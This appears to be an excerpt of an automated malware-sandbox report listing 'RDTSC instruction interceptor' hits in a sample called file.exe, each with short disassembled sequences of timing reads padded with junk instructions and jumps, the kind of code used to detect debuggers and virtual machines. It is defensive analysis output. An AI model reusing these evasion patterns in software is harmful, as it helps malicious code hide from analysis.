Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DDFDC second address: 4DE000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD0399h 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE000 second address: 4DE006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE006 second address: 4DE00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE00F second address: 4DE013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE013 second address: 4DE01B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01B second address: 4DE02F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D1 second address: 4E50E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E8 second address: 4E5101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D453h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E553C second address: 4E5556 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0395h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5B42 second address: 4E5B58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F61C0D2D446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F61C0D2D446h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5B58 second address: 4E5B75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F61C0BD0386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F61C0BD038Ch 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5B75 second address: 4E5BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F61C0D2D44Fh 0x0000000d jns 00007F61C0D2D45Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6427 second address: 4E642D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E642D second address: 4E6440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F61C0D2D446h 0x0000000a popad 0x0000000b js 00007F61C0D2D44Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAFEA second address: 4EAFFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F61C0BD038Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DE second address: 4EA0E8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F61C0D2D44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA234 second address: 4EA23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA3C6 second address: 4EA3D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA533 second address: 4EA538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA538 second address: 4EA551 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61C0D2D452h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA81E second address: 4EA822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA822 second address: 4EA847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F61C0D2D457h 0x0000000d jno 00007F61C0D2D446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA847 second address: 4EA869 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F61C0BD0395h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA869 second address: 4EA871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA9BA second address: 4EA9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA9BE second address: 4EA9C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA9C2 second address: 4EA9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F61C0BD0398h 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F61C0BD0397h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA9FD second address: 4EAA1B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F61C0D2D448h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F61C0D2D450h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EACCC second address: 4EACD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EACD4 second address: 4EACDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2126 second address: 4F2147 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F61C0BD0398h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2147 second address: 4F214D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F214D second address: 4F216A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F61C0BD038Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F61C0BD0388h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F83A8 second address: 4F83AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8783 second address: 4F8793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Ah 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8793 second address: 4F87AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F61C0D2D455h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F87AE second address: 4F87C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F61C0BD0396h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F88F3 second address: 4F8912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D44Eh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 je 00007F61C0D2D446h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8ED7 second address: 4F8EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD038Fh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007F61C0BD0386h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8EF8 second address: 4F8F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F61C0D2D457h 0x0000000b pop ecx 0x0000000c popad 0x0000000d jnp 00007F61C0D2D480h 0x00000013 push ecx 0x00000014 jmp 00007F61C0D2D44Ch 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F61C0D2D44Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9971 second address: 4F9975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7F0F second address: 4F7F3E instructions: 0x00000000 rdtsc 0x00000002 je 00007F61C0D2D446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F61C0D2D457h 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7F3E second address: 4F7F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD0399h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500B0C second address: 500B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D456h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500561 second address: 500574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5007D7 second address: 5007DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5007DD second address: 5007FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Bh 0x00000007 je 00007F61C0BD0386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F61C0BD0386h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5007FA second address: 500829 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F61C0D2D453h 0x0000000d pushad 0x0000000e jp 00007F61C0D2D446h 0x00000014 jmp 00007F61C0D2D44Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B6C5 second address: 50B6CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50DD27 second address: 50DD32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50DD32 second address: 50DD38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50DD38 second address: 50DD3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50DD3C second address: 50DD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F61C0BD0386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d js 00007F61C0BD03A4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50DD53 second address: 50DD57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5158EB second address: 5158FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F61C0BD0386h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5158FA second address: 5158FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A56C second address: 51A585 instructions: 0x00000000 rdtsc 0x00000002 js 00007F61C0BD039Bh 0x00000008 jmp 00007F61C0BD038Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A585 second address: 51A58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52324C second address: 523263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F61C0BD0386h 0x0000000a popad 0x0000000b jc 00007F61C0BD038Ch 0x00000011 jc 00007F61C0BD0386h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230D3 second address: 5230D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524938 second address: 52493D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52493D second address: 524949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F61C0D2D446h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524949 second address: 524966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F61C0BD0393h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524966 second address: 524978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F61C0D2D446h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524978 second address: 52497E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52497E second address: 5249AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F61C0D2D455h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jnl 00007F61C0D2D446h 0x00000014 popad 0x00000015 jl 00007F61C0D2D44Eh 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F1A3 second address: 52F1A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F1A7 second address: 52F1C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D459h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F1C6 second address: 52F1D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F61C0BD0386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F1D0 second address: 52F1D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F1D4 second address: 52F21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F61C0BD038Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F61C0BD038Eh 0x00000016 jmp 00007F61C0BD038Dh 0x0000001b popad 0x0000001c jnp 00007F61C0BD038Ah 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 pushad 0x00000025 popad 0x00000026 pushad 0x00000027 jg 00007F61C0BD0386h 0x0000002d pushad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DA88 second address: 52DAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D454h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DAA2 second address: 52DAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DBFD second address: 52DC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DC09 second address: 52DC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007F61C0BD0394h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DC29 second address: 52DC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DF00 second address: 52DF06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DF06 second address: 52DF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F61C0D2D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DF10 second address: 52DF21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DF21 second address: 52DF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DF25 second address: 52DF29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DF29 second address: 52DF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D44Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F61C0D2D455h 0x00000011 jmp 00007F61C0D2D459h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0BD second address: 52E0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0C1 second address: 52E10E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F61C0D2D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F61C0D2D455h 0x0000000f pop esi 0x00000010 pushad 0x00000011 jnc 00007F61C0D2D44Ch 0x00000017 jmp 00007F61C0D2D457h 0x0000001c push edx 0x0000001d jno 00007F61C0D2D446h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EE9E second address: 52EEB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Dh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EEB0 second address: 52EEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F61C0D2D446h 0x0000000a pushad 0x0000000b popad 0x0000000c je 00007F61C0D2D446h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F61C0D2D453h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EEDD second address: 52EEE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EEE1 second address: 52EEF5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F61C0D2D446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F61C0D2D446h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EEF5 second address: 52EEF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53382C second address: 53384A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007F61C0D2D459h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F61C0D2D451h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53399F second address: 5339CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD0398h 0x00000009 jmp 00007F61C0BD038Fh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5339CB second address: 5339D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5339D1 second address: 5339DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F61C0BD0386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5339DB second address: 5339F9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61C0D2D446h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jnl 00007F61C0D2D44Ch 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
